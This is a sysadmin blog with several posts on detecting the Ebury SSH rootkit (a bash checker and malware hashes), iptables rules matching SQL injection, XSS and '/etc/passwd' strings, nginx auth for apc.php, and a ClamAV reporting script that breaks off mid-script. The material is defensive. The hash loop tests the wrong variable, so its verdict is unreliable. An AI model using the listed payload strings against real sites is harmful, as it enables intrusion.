Latest Entries »

Off lately their was buzz all around Internet regarding SSH Ebury trojan, lots of misconceptions!!

We have around 400 linux servers with over 8000 websites hosted on it, still remember the day when there was a bombard of abuse reports from providers.

I was like WTF!!! all servers with two factor authentication as 2nd layer of security and it got rooted?

We started with reading through Ebury with couple of commands already out on Internet with all the checks and memory dumps, we were all clean.

Why the hell we are receiving abuse alerts? That too indirectly from CBL?

Okay, by far I have read about Ebury and what I have understood is that their are only two ways to get this installed,

  1. server rooted
  2. yum repos via automate updates

Later part was what I worried about, I started with the commands already known to 90% of security freaks but all the theories ended up with two commands which according to CBL and providers and most of the people out there is enough to assume that server is infected by Ebury, commands are shown below,

  • ipcs -m (looking for shared memory segments with permission 666)
  • size of libkeyutils file greater than 25KB, for some, greater than 20KB and so on.

Let’s starts with “ipcs -m”,

Sample Output:

root@bt [/proc/8890]# ipcs -mp

—— Shared Memory Creator/Last-op ——–
shmid owner cpid lpid
3997696 root 1675 1675
4358145 root 2038 2057
3964930 root 1668 1668
4390915 root 2038 2057
4423684 root 2038 2057
5898245 root 2866 19322
5931014 root 2866 19322

root@bt

Now if I run ps aux | grep lpid or cpid as shown below,

root@bt [/proc/2866]# ps aux | grep 1668 | grep -v grep
root 2648 0.0 0.0 21668 900 ? Ss Apr10 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root@bt [/proc/2866]#

so next we, cd /proc/2866 you’ll see cmdline file,

root@bt [/proc/2866]# cat cmdline
/usr/local/apache/bin/httpd-kstart-DSSL

this will show the actual command and exe linked to,

lrwxrwxrwx   1 root root 0 Apr 16 17:40 exe -> /usr/local/apache/bin/httpd

Their will be another file called as “smaps”

open the file and you will see to which bin/lib it’s linked to,

3449406000-3449606000 —p 00006000 08:02 2860848                        /usr/lib64/libltdl.so.3.1.4

344a000000-344a031000 r-xp 00000000 08:02 2868115                        /usr/lib64/libidn.so.11.5.19

from this you can grep the actual linking of libraries, this is only applicable if it’s 666 permission but this holds true only if it’s governed by SSHD process.

Having 666 permission is common and shouldn’t be concluded as hacked or effected.

we had these on servers not governed by any process, doing nothing.

  • Let’s check for “size of libkeyutils”,

This varies on linux flavors to flavors and from repos to repos, on cpanel servers yum update and /scripts/upcp update will always differ in size.

Same applies for amazon, “yum reinstall –enable remi libkeyutils” and “yum reinstall libkeyutils” which will take amazon repos will differ in size compared to remis.

In-case of any abuse reports, run through a series of commands and do not reload OS, that’s not the option.

By far the only reliable I found was starce command,

strace-sshd.sh  (Execute this script first)
 
STRACE=`ps aux | grep ssh[d] | awk ‘{print “-p ” $2}’`
echo $STRACE
strace -o out -f -s 5000 $STRACE
 
syscallparse.sh (from second window after executing ctrl-c on first terminal)
 
DIR=/root/syscalls
 
if [ ! -d “$DIR” ];
then
        mkdir $DIR
fi
 
for x in `awk ‘{print $2}’ /root/out | grep [a-z] | sed s/\(.*//g | sort | uniq`
do
grep -n “^[[:digit:]]\+[[:space:]]\+$x(” /root/out >> /root/syscalls/$x
done

Under /root/syscalls directory, you’ll find a file called as “connect”, this file will say to which outbound port it is trying to connect.

Sample:

479:32560 connect(3, {sa_family=AF_INET6, sin6_port=htons(22), inet_pton(AF_INET6, “::”, &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0
483:32560 connect(3, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0
488:32560 connect(3, {sa_family=AF_FILE, path=”/var/run/nscd/socket”…}, 110) = -1 ENOENT (No such file or directory)
492:32560 connect(3, {sa_family=AF_FILE, path=”/var/run/nscd/socket”…}, 110) = -1 ENOENT (No such file or directory)
589:32560 connect(6, {sa_family=AF_FILE, path=”/var/run/nscd/socket”…}, 110) = -1 ENOENT (No such file or directory)
593:32560 connect(6, {sa_family=AF_FILE, path=”/var/run/nscd/socket”…}, 110) = -1 ENOENT (No such file or directory)
633:32560 connect(6, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“xx.xx.xx.xx”)}, 28) = 0
652:32560 connect(6, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“xx.xx.xx.xx”)}, 28) = 0
671:32560 connect(6, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr(“xx.xx.xx.xx”)}, 28) = 0

So what happens here?

the connection attempts to /var/run/nscd/socket, this means ssh first tried to connect to NSCD – the Name Service Cache Daemon — which is fine but the IP it attempts to connect should be one of the IPs from /etc/resolv.conf which is name server IP for name lookups.

IP other than name-server ip’s  then you should be  with WTF!!! face 😮

DNS is port 53 so “sin_port=htons(53)”, it doesn’t have “sendto” in above sample so nothing was being sent to port 53.

Never the less, I had prepared the script which checks almost everything apart from,

  • libkeyutils size
  • signatures of openssh rpms

which I will add this week, execute it from /root/, you’ll need hashes.txt file to which is at the bottom.

###Script Starts here###

#!/bin/bash

LIB64=/lib64/libkeyutils.so.1.9
LIB64_1=/lib64/libkeyutils-1.2.so.2
LIB32=/lib/libkeyutils.so.1.9
LIB32_1=/lib/libkeyutils-1.2.so.2
red=’\e[0;31m’
NC=’\e[0m’
green=’\e[0;32m’

if [ -f $LIB64 ]; then
echo The server is compromised, $LIB64 found
exit 0
fi

if [ -f $LIB64_1 ]; then
echo The server is compromised, $LIB64_1 found
exit 0
fi
if [ -f $LIB32 ]; then
echo The server is compromised, $LIB32 found
exit 0
fi

if [ -f $LIB32_1 ]; then
echo The server is compromised, $LIB32_1 found
exit 0
fi

echo -e “\t\t\t$HOSTNAME”
echo ” “
echo -e “${green}Cannot find compromised library: Clean${NC}”
#exit 1
SHMEM=`ipcs -m | grep 666`

if [ -z “$SHMEM” ];
then
echo -e “${green}Checking Shared Memory Segments with 666: Clean${NC}”
else
echo -e “${red}Checking Shared Memory Segments with 666: Infected${NC}”
ipcs -m
fi

ILLOPTION=`ssh -G 2>&1 | grep -e illegal -e unknown > /dev/null && echo “System clean” || echo “System infected”`
CHK=`echo $ILLOPTION | grep -ie infected`

if [ -z “$CHK” ];
then
echo -e “${green}Checking for SSH illegal option: $ILLOPTION ${NC}”
else
echo -e “${red}Checking for SSH illegal option: $ILLOPTION ${NC}”
fi
echo ” “
echo -e “\t\t\tChecking for Trojanized sshd, ssh, ssh-add:”
echo ” “
SHASUM=`which sha1sum`
SSH=`which ssh`
SSHD=`which sshd`
SSHADD=`which ssh-add`
SHASSH=`$SHASUM $SSH | awk ‘{ print $1 }’`
SHASSHD=`$SHASUM $SSHD | awk ‘{ print $1 }’`
SHASSHADD=`$SHASUM $SSHADD | awk ‘{ print $1 }’`
HASHSSH=`grep $SHASSH -F /root/hashes.txt`
HASHSSHD=`grep $SHASSHD -F /root/hashes.txt`
HASHSSHADD=`grep $SHASSHADD -F /root/hashes.txt`

if [ -z “$HASHSSH” ];
then
echo -e “${green}Hashes for $SSH not matching with Linux/Ebury hashes${NC}”
else
echo -e “${red}Hashes for $SSH matching with Linux/Ebury hashes: $HASHSSH,${NC}”
fi

if [ -z “$HASHSSHD” ];
then
echo -e “${green}Hashes for $SSHD not matching with Linux/Ebury hashes${NC}”
else
echo -e “${red}Hashes for $SSHD matching with Linux/Ebury hashes: $HASHSSHD,${NC}”
fi

if [ -z “$HASHSSHADD” ];
then
echo -e “${green}Hashes for $SSHADD not matching with Linux/Ebury hashes${NC}”
else
echo -e “${red}Hashes for $SSHADD matching with Linux/Ebury hashes: $HASHSSHADD,${NC}”
fi

echo ” “
echo -e “\t\t\tChecking for libkeyutils:”
echo ” “
for UTILS in `locate libkey | grep -v home`;
do
CHKHASH=`which sha1sum`
RES=`$CHKHASH $UTILS | grep -ie 98cdbf1e0d202f5948552cebaa9f0315b7a3731d -ie 4d12f98fd49e58e0635c6adce292cc56a31da2a2 -ie 0daa51519797cefedd52864be0da7fa1a93ca30b -ie 7314eadbdf18da424c4d8510afcc9fe5fcb56b39 -ie 575bb6e681b5f1e1b774fee0fa5c4fe538308814 -ie fa6707c7ef12ce9b0f7152ca300ebb2bc026ce0b -ie c4c28d0372aee7001c44a1659097c948df91985d -ie 267d010201c9ff53f8dc3fb0a48145dc49f9de1e -ie 471ee431030332dd636b8af24a428556ee72df37 -ie 58f185c3fe9ce0fb7cac9e433fb881effad31421 -ie 09c8af3be4327c83d4a7124a678bbc81e12a1de4 -ie 2fc132440bafdbc72f4d4e8dcb2563cc0a6e096b -ie 39ec9e03edb25f1c316822605fe4df7a7b1ad94a -ie 3c5ec2ab2c34ab57cba69bb2dee70c980f26b1bf -ie 74aa801c89d07fa5a9692f8b41cb8dd07e77e407 -ie 7adb38bf14e6bf0d5b24fa3f3c9abed78c061ad1 -ie 899b860ef9d23095edb6b941866ea841d64d1b26 -ie 8daad0a043237c5e3c760133754528b97efad459 -ie 8f75993437c7983ac35759fe9c5245295d411d35 -ie 9bb6a2157c6a3df16c8d2ad107f957153cba4236 -ie a7b8d06e2c0124e6a0f9021c911b36166a8b62c5 -ie adfcd3e591330b8d84ab2ab1f7814d36e7b7e89f -ie b8508fc2090ddee19a19659ea794f60f0c2c23ff -ie bbce62fb1fc8bbed9b40cfb998822c266b95d148 -ie bf1466936e3bd882b47210c12bf06cb63f7624c0 -ie e14da493d70ea4dd43e772117a61f9dbcff2c41c -ie f1ada064941f77929c49c8d773cbad9c15eba322 -ie 9e2af0910676ec2d92a1cad1ab89029bc036f599 -ie 5d3ec6c11c6b5e241df1cc19aa16d50652d6fac0 -ie d552cbadee27423772a37c59cb830703b757f35e -ie 1a9aff1c382a3b139b33eeccae954c2d65b64b90 -ie 2e571993e30742ee04500fbe4a40ee1b14fa64d7 -ie e2a204636bda486c43d7929880eba6cb8e9de068`

if [ -z “$CHKHASH” ];
then
echo -e “${red}Hashes matching with Ebury${NC}”
ls -lh $UTILS
echo ” “
else
echo -e “${green}Hashes not matching with Ebury${NC}”
ls -lh $UTILS
echo ” “
fi

done

###hashes.txt###

98cdbf1e0d202f5948552cebaa9f0315b7a3731d Linux/Ebury . Version 0.4.4 . sshd
4d12f98fd49e58e0635c6adce292cc56a31da2a2 Linux/Ebury . Version 0.4.4 . sshd
0daa51519797cefedd52864be0da7fa1a93ca30b Linux/Ebury . Version 0.8.0 . sshd
7314eadbdf18da424c4d8510afcc9fe5fcb56b39 Linux/Ebury . Version 0.8.0 . sshd
575bb6e681b5f1e1b774fee0fa5c4fe538308814 Linux/Ebury . Version 0.8.0 . ssh-add
fa6707c7ef12ce9b0f7152ca300ebb2bc026ce0b Linux/Ebury . Version 0.8.0 . ssh
c4c28d0372aee7001c44a1659097c948df91985d Linux/Ebury . Version 0.8.0 . ssh
267d010201c9ff53f8dc3fb0a48145dc49f9de1e Linux/Ebury . Version 1.1.0 . libkeyutils.so
471ee431030332dd636b8af24a428556ee72df37 Linux/Ebury . Version 1.2.1 . libkeyutils.so
58f185c3fe9ce0fb7cac9e433fb881effad31421 Linux/Ebury . Version 1.3.1 . libkeyutils.so
09c8af3be4327c83d4a7124a678bbc81e12a1de4 Linux/Ebury . Version 1.3.2 . libkeyutils.so
2fc132440bafdbc72f4d4e8dcb2563cc0a6e096b Linux/Ebury . Version 1.3.2 . libkeyutils.so
39ec9e03edb25f1c316822605fe4df7a7b1ad94a Linux/Ebury . Version 1.3.2 . libkeyutils.so
3c5ec2ab2c34ab57cba69bb2dee70c980f26b1bf Linux/Ebury . Version 1.3.2 . libkeyutils.so
74aa801c89d07fa5a9692f8b41cb8dd07e77e407 Linux/Ebury . Version 1.3.2 . libkeyutils.so
7adb38bf14e6bf0d5b24fa3f3c9abed78c061ad1 Linux/Ebury . Version 1.3.2 . libkeyutils.so
899b860ef9d23095edb6b941866ea841d64d1b26 Linux/Ebury . Version 1.3.2 . libkeyutils.so
8daad0a043237c5e3c760133754528b97efad459 Linux/Ebury . Version 1.3.2a . libkeyutils.so
8f75993437c7983ac35759fe9c5245295d411d35 Linux/Ebury . Version 1.3.2 . libkeyutils.so
9bb6a2157c6a3df16c8d2ad107f957153cba4236 Linux/Ebury . Version 1.3.2 . libkeyutils.so
a7b8d06e2c0124e6a0f9021c911b36166a8b62c5 Linux/Ebury . Version 1.3.2 . libkeyutils.so
adfcd3e591330b8d84ab2ab1f7814d36e7b7e89f Linux/Ebury . Version 1.3.2 . libkeyutils.so
b8508fc2090ddee19a19659ea794f60f0c2c23ff Linux/Ebury . Version 1.3.2 . libkeyutils.so
bbce62fb1fc8bbed9b40cfb998822c266b95d148 Linux/Ebury . Version 1.3.2 . libkeyutils.so
bf1466936e3bd882b47210c12bf06cb63f7624c0 Linux/Ebury . Version 1.3.2 . libkeyutils.so
e14da493d70ea4dd43e772117a61f9dbcff2c41c Linux/Ebury . Version 1.3.2 . libkeyutils.so
f1ada064941f77929c49c8d773cbad9c15eba322 Linux/Ebury . Version 1.3.2 . libkeyutils.so
9e2af0910676ec2d92a1cad1ab89029bc036f599 Linux/Ebury . Version 1.3.3b . libkeyutils.so
5d3ec6c11c6b5e241df1cc19aa16d50652d6fac0 Linux/Ebury . Version 1.3.3 . libkeyutils.so
d552cbadee27423772a37c59cb830703b757f35e Linux/Ebury . Version 1.3.3 . libkeyutils.so
1a9aff1c382a3b139b33eeccae954c2d65b64b90 Linux/Ebury . Version 1.3.4b1 . libkeyutils.so
2e571993e30742ee04500fbe4a40ee1b14fa64d7 Linux/Ebury . Version 1.3.4b2 . libkeyutils.so
e2a204636bda486c43d7929880eba6cb8e9de068 Linux/Ebury . Version 1.3.5 . libkeyutils.so

Sample Output:

Ebury

Never Ever rely on what provider says, believe in what you are doing and if you are 100% sure than just reply logically and up-to the mark,

Our Reply:

our

Provider’s Reply:

provider

Trust me on this ,we didn’t reload OS and we just end up killing shared segment with perm 666 not governed by any process using ipcrm command.

I end up creating this signature from snort to iptables,

-A OUTPUT -p tcp -m tcp –dport 53 -m string –hex-string “|120b01000001|” –algo bm –to 65535 -j LOG –log-prefix “Ebury SSH Rootkit:” –log-level 7
-A OUTPUT -p tcp -m tcp –dport 53 -m string –hex-string “|120b01000001|” –algo bm –to 65535 -j DROP

Final note for “SSH -G” option, picture is worth a thousand words

ssh

 

Ref: http://roumenpetrov.info/openssh/

Cheers!!!

IPtables is not an ordinary firewall unless and until not used properly.

Their are cases where security analysts do not have an option to play with hardware firewall or sometime no access to DC, mainly cpanel servers.

In this case, the only option is customized solution, one of the kind is shown below,

iptables

 

with iptables string matching, you can achieve the highest security possible with log scanning if anything bypasses firewall.

This is mainly IPS/IDS dependent upon the signature matching.

  1. Create a chain, say “woot”
  2. After all the input rules, goto woot chain for additional checks.
  3. then specify malicious signatures to detect different types of attacks.
  4. If matches then first log the packet and then drop.

your iptables file should be something like below,

:INPUT ACCEPT [2404:336622]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [2359:257349]
:LOGGING – [0:0]
:w00t – [0:0]

-A INPUT -i lo -j ACCEPT
-A INPUT -s 127.0.0.1 -j ACCEPT
-A INPUT -s x.x.x.x -p tcp -m tcp –dport 22 -j ACCEPT
-A INPUT -s x.x.x.x -p tcp -m tcp –dport 22 -j ACCEPT

-A INPUT -p tcp -j w00t

-A OUTPUT -p tcp -m tcp –dport 53 -m string –hex-string “|120b01000001|” –algo bm –to 65535 -j LOG –log-prefix “Ebury SSH Rootkit:” –log-level 7
-A OUTPUT -p tcp -m tcp –dport 53 -m string –hex-string “|120b01000001|” –algo bm –to 65535 -j DROP

-A w00t -p tcp -m string –string “w00tw00t.at.ISC.SANS” –algo bm –to 65535 -j LOG –log-prefix “w00tw00t detected:” –log-level 7
-A w00t -p tcp -m string –string “w00tw00t.at.ISC.SANS” –algo bm –to 65535 -j DROP

The above will first log packets (chain woot), and then drop it.

Log:

Apr 14 20:19:29 darkwizz kernel: w00tw00t detected:IN=eth0 OUT= MAC=00:30:48:8f:49:c9:01:24:00:08:00 SRC=x.x.x.x DST=96.31.85.162 LEN=86 TOS=0x00 PREC=0x00 TTL=115 ID=10415 DF PROTO=TCP SPT=59420 DPT=80 WINDOW=256 RES=0x00 ACK PSH FIN URGP=0

Test Scenarios:

1. open a command line and type in,

nc -l 5501

2. open another session of that server

telnet server-ip 5501

from telnet command line,

test

3. first session where you typed in nc command, you’ll see “test” appearing on that session

4. from second terminal (point 2), type in  “w00tw00t”

5. string won’t appear on first session and then consequent packets will be dropped from that server.

6. check the logs and you will see.

Where to find the log location for iptables?

cat /etc/syslog.cong

kern.*                        /var/log/firewall.log

Back to our firewall rules,

their is outbound traffic from server getting dropped if it matches a hex-string, “120b01000001” which is a string for Ebury Trojan.

you can easily convert any snort rules into IP table rules.

Some Rules according to types of attacks,

1. SQL Injection Attacks: 

The “%27or%271%27%3D%271” was an encoding. When decoding the URL, it would result as a message ‘ or ‘1’=’1.

-m string –string  “%27+or+%271%27%3d%271”

“%27+or+1%3d1”

“%27+or+%271%27%3d%271”

“%27)+or+%27%27%3d%27”

“%27)+or+1%3d1”

“%27)+or+%271%27%3d%271”

“%27)+or+(%27%27%3d%27”

“%27)+or+(1%3d1”

“%27)+or+(%271%27%3d%271”

2. Buffer Overflow Exploits

-m string –string “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”

Recently I posted “http://ustechnica.com/category/security/wordpress-arbitrary-file-download-and-file-deletion-exploit/”

and was able to download /etc/passwd file, you can even match this string and drop the request.

3. Arbitrary File download

-m string –string “/etc/passwd”

4. Cross Site Scripting

-m string –string %3C%73%63%72%69%70%74%3E”

-m string –string “<script>”

you just need to convert all snort rules to iptables, below is the good reference can be used,

Ref:

ftp://ftp.itb.ac.id/pub/ISO-IMAGES/linux/filenya-putu-shinoda/bukulinux/LinuxFirewall-Attack%20Detection.pdf

http://www.bandwidthco.com/sf_whitepapers/firewalls/IPTables%20Linux%20Firewall%20with%20Packet%20String-matching%20support.pdf

HTTP Authentication for APC

Their are times where you need apc.php to clear browser cache, either you can write a code to clear the cache or to view cache contents via browser.

you can just protect it via HTTP AUTH to avoid being viewed by third-party

Here we are using Nginx as Front-end and PHP_fpm as back-end,

Considering apc has already been installed,

locate apc.php file on server and copy it to desired location,

Consider a Scenario, abc.com.au has apc.php inside public_html/cache/apc.php

Below is the Nginx code to protect apc.php file, below should be under v-hosts file of a domain abc.com.au,

location ^~ /cache {
auth_basic “Admin”;
auth_basic_user_file /var/www/html/htpasswd;

location ~ \.php$ {
fastcgi_pass 127.0.0.1:9002;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /etc/nginx/fastcgi_params;
}
}

  • htpasswd -b -c /var/www/html/htpasswd test1 g009fdr

where, test1 : username and g009fdr: password

  • rename apc.php to index.php
  • vi index.php and make changes as shown below,

apc

  • service nginx restart

Clam-Scan Revisited

We already had discussions on how we can make clam-scan rock solid, it’s implementation.

Ref: http://ustechnica.com/2013/06/19/clam-scan-from-an-eye-of-an-ethical-hacker/

Recently, A customer came to us with an issue of intermittent downtime of their websites.

and we just had a clam-scan execution completed, we have 4 scans running on Daily, weekly and monthly basis.

We assumed that it was clam-scan but client doesn’t work on assumptions so we implemented a reporting thing which will

not only figure out the load and memory consumption on server but also will check status of websites on that server during

execution of clam-scan.

Short Description of what script does:

  1. Mark the START time of scan
  2. child script will be executed from main script
  3. child script will execute while it reads pidof main script after every loop
  4. child script will keep on checking the HTTP status code and will keep on storing RAW data
  5. once Main script finishes execution, it will mark END time of scan
  6. during the START and END time, it will fetch CPU usage and Memory usage from SAR logs
  7. After that, reporting script will prepare the report from RAW data generated during execution of child script
  8. In the end you will get something like below,

clam1

clam2

In case your domain goes down,

then,

clam3

To achieve this,

Prerequisite:

1. SAR command , installed and configure it to read data every 3 mins.

root@MJ [~]# cat /etc/cron.d/sysstat
# run system activity accounting tool every 3 minutes
*/3 * * * * root /usr/lib/sa/sa1 1 1
# generate a daily summary of process accounting at 23:53
53 23 * * * root /usr/lib/sa/sa2 -A

root@MJ [~]#

2. Folder Structure

cd /root/clam-scan-project

mkdir http-status-code/

under http-status-code, create two scripts,

create-report.sh

status.sh*

Actual Script:

##Main.sh (/etc/cron.monthly/add-signatures.sh)

file=/root/clam-scan-project/current.txt
if [ -f $file ];
then
wget -O /root/clam-scan-project/hosts.txt http://www.malwaredomainlist.com/hostslist/hosts.txt
cat /root/clam-scan-project/hosts.txt | col -b >> /root/clam-scan-project/host.txt
diff -I ‘^#’ /root/clam-scan-project/current.txt /root/clam-scan-project/host.txt | grep “^>” | grep -v localhost | awk ‘{ print $3 }’ >> /root/clam-scan-project/add-domains.txt
if [ -s /root/clam-scan-project/add-domains.txt ];
then
for i in $(cat /root/clam-scan-project/add-domains.txt)
do
x=$(echo $i | sigtool –hex-dump | sed ‘s/\(.*\)../\1/’)
echo “$i:0:*:$x” >> /root/clam-scan-project/signatures.ndb
done
fi
else
wget -O /root/clam-scan-project/hosts.txt http://www.malwaredomainlist.com/hostslist/hosts.txt
cat /root/clam-scan-project/hosts.txt | col -b >> /root/clam-scan-project/host.txt
for i in $(cat /root/clam-scan-project/host.txt | grep -v “^#” | awk ‘{ print $2 }’ | grep -v localhost)
do
x=$(echo $i | sigtool –hex-dump | sed ‘s/\(.*\)../\1/’)
echo “$i:0:*:$x” >> /root/clam-scan-project/signatures.ndb
done
fi

DIR=/root/clam-scan-project/http-status-code
rm -rf $DIR/*.txt
RESULT1=/root/clam-scan-project/http-status-code/HTTP_CODES.log
START=`date +%H:%M`
OUTPUT=/root/clam-scan-project/default-db-summary.log
OS=`uname -mrs`
PROCESSOR=`cat /proc/cpuinfo | grep -i processor | wc -l`
VENDOR=`cat /proc/cpuinfo | grep vendor_id | uniq | cut -d “:” -f2`
MODEL=`cat /proc/cpuinfo | grep -i model\ name | uniq | cut -d “:” -f2`
RAM=`grep ‘MemTotal:’ /proc/meminfo | awk ‘{ print $2 }’`
TOTALRAM=`echo “scale=2;$RAM/1024” | bc`
DOMAINS=`cat /etc/trueuserdomains | wc -l`
echo “<center>” >> $OUTPUT
echo “<TABLE BORDER=”5″ WIDTH=”50%” CELLPADDING=”4″ CELLSPACING=”3″ bgcolor=”#FAEBD7″>” >> $OUTPUT
echo “<TR>” >> $OUTPUT
echo “<TH COLSPAN=”2″><BR><H3>Server Information</H3>” >> $OUTPUT
echo “</TH>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>OS</TD>” >> $OUTPUT
echo “<TD>$OS</TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>Vendor ID</TD>” >> $OUTPUT
echo “<TD>$VENDOR</TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>Processor</TD>” >> $OUTPUT
echo “<TD>$PROCESSOR</TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>Model Name</TD>” >> $OUTPUT
echo “<TD><PRE>$MODEL</PRE></TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>RAM</TD>” >> $OUTPUT
echo “<TD><PRE>$TOTALRAM MB</PRE></TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “<TR ALIGN=”CENTER”>” >> $OUTPUT
echo “<TD>Domains Hosted</TD>” >> $OUTPUT
echo “<TD><PRE>$DOMAINS</PRE></TD>” >> $OUTPUT
echo “</TR>” >> $OUTPUT
echo “</TABLE>” >> $OUTPUT
echo “<br>” >> $OUTPUT
echo “<table>” >> $OUTPUT
echo “<caption>Storage</caption>” >> $OUTPUT
echo “<tr>” >> $OUTPUT
echo “<td><b><PRE>`df -h | column -t`</b></PRE></td>” >> $OUTPUT
echo “</tr>” >> $OUTPUT
echo “</table>” >> $OUTPUT
echo “<br>” >> $OUTPUT
echo “</center>” >> $OUTPUT
echo “<center><b>Clam-Scan Started at: $START</b></center>” >> /root/clam-scan-project/default-db-summary.log
/bin/sh $DIR/status.sh &
bPid=”$bPid $!”
#echo “<center><h1><i>Clam-Scan</i></h1></center>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<b><i>Clam-Scan Result using Default DB</i></b>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<i>Updating Clam AV database</i>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
freshclam –no-warnings >> /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<font color=”red”>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
clamscan –exclude-dir=mail –exclude-dir=virtfs -ir /home/* –log /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “</font>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
sed -n “/SCAN \SUMMARY/,/Time:/p” /root/clam-scan-project/default-db-summary.log > /root/clam-scan-project/summary.log
sed -i “/SCAN \SUMMARY/,/Time:/d” /root/clam-scan-project/default-db-summary.log
echo “<b>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
cat /root/clam-scan-project/summary.log >> /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “</b>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<HR ALIGN=”LEFT” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
echo “<b><i>Clam-Scan Result using Custom DB</i></b>” >> /root/clam-scan-project/custom-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
echo “<font color=”red”>” >> /root/clam-scan-project/custom-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-db-summary.log
clamscan -d /root/clam-scan-project/signatures.ndb –exclude-dir=tmp –exclude-dir=log –exclude-dir=mail –exclude-dir=virtfs -ir /home/* –log /root/clam-scan-project/custom-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-db-summary.log
echo “</font>” >> /root/clam-scan-project/custom-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
sed -n “/SCAN \SUMMARY/,/Time:/p” /root/clam-scan-project/custom-db-summary.log > /root/clam-scan-project/summary.log
sed -i “/SCAN \SUMMARY/,/Time:/d” /root/clam-scan-project/custom-db-summary.log
echo “<b>” >> /root/clam-scan-project/custom-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-db-summary.log
cat /root/clam-scan-project/summary.log >> /root/clam-scan-project/custom-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-db-summary.log
echo “</b>” >> /root/clam-scan-project/custom-db-summary.log
cat /root/clam-scan-project/default-db-summary.log /root/clam-scan-project/custom-db-summary.log >> /root/clam-scan-project/clam-scan-result.log
rm -f /root/clam-scan-project/current.txt
#mv /root/clam-scan-project/host.txt /root/clam-scan-project/current.txt
#rm -f /root/clam-scan-project/hosts.txt
sleep 500
END=`date +%H:%M`
echo “<center><b>Clam-Scan Ended: $END</b></center>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b>CPU Load Average during scan</b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b><center><PRE>`/usr/bin/sar -u -q -s $START:00 -e $END:00`</PRE></center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b>Memory Usage during scan</b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b><center><PRE>`/usr/bin/sar -r -s $START:00 -e $END:00`</PRE></center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log

array=( $(sar -r -s $START:00 -e $END:00 | tail -1 | awk ‘{ print $2,$3,$5,$6,$7 }’) )
kbmemfree=`echo “scale=2;${array[0]}/1024” | bc`
kbmemused=`echo “scale=2;${array[1]}/1024” | bc`
kbbuffers=`echo “scale=2;${array[2]}/1024” | bc`
kbcached=`echo “scale=2;${array[3]}/1024” | bc`
kbswpfree=`echo “scale=2;${array[4]}/1024” | bc`
echo “<b><center><PRE>Memory Free: $kbmemfree\MB</PRE></center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b><center><PRE>Memory Used: $kbmemused\MB</PRE></center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b><center><PRE>Cached: $kbcached\MB</PRE></center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b><center><PRE>Free Swap: $kbswpfree\MB</center></b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
/bin/sh $DIR/create-report.sh

if [ -f “$RESULT1” ];
then
echo “<b>HTTP Status Code during scan</b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
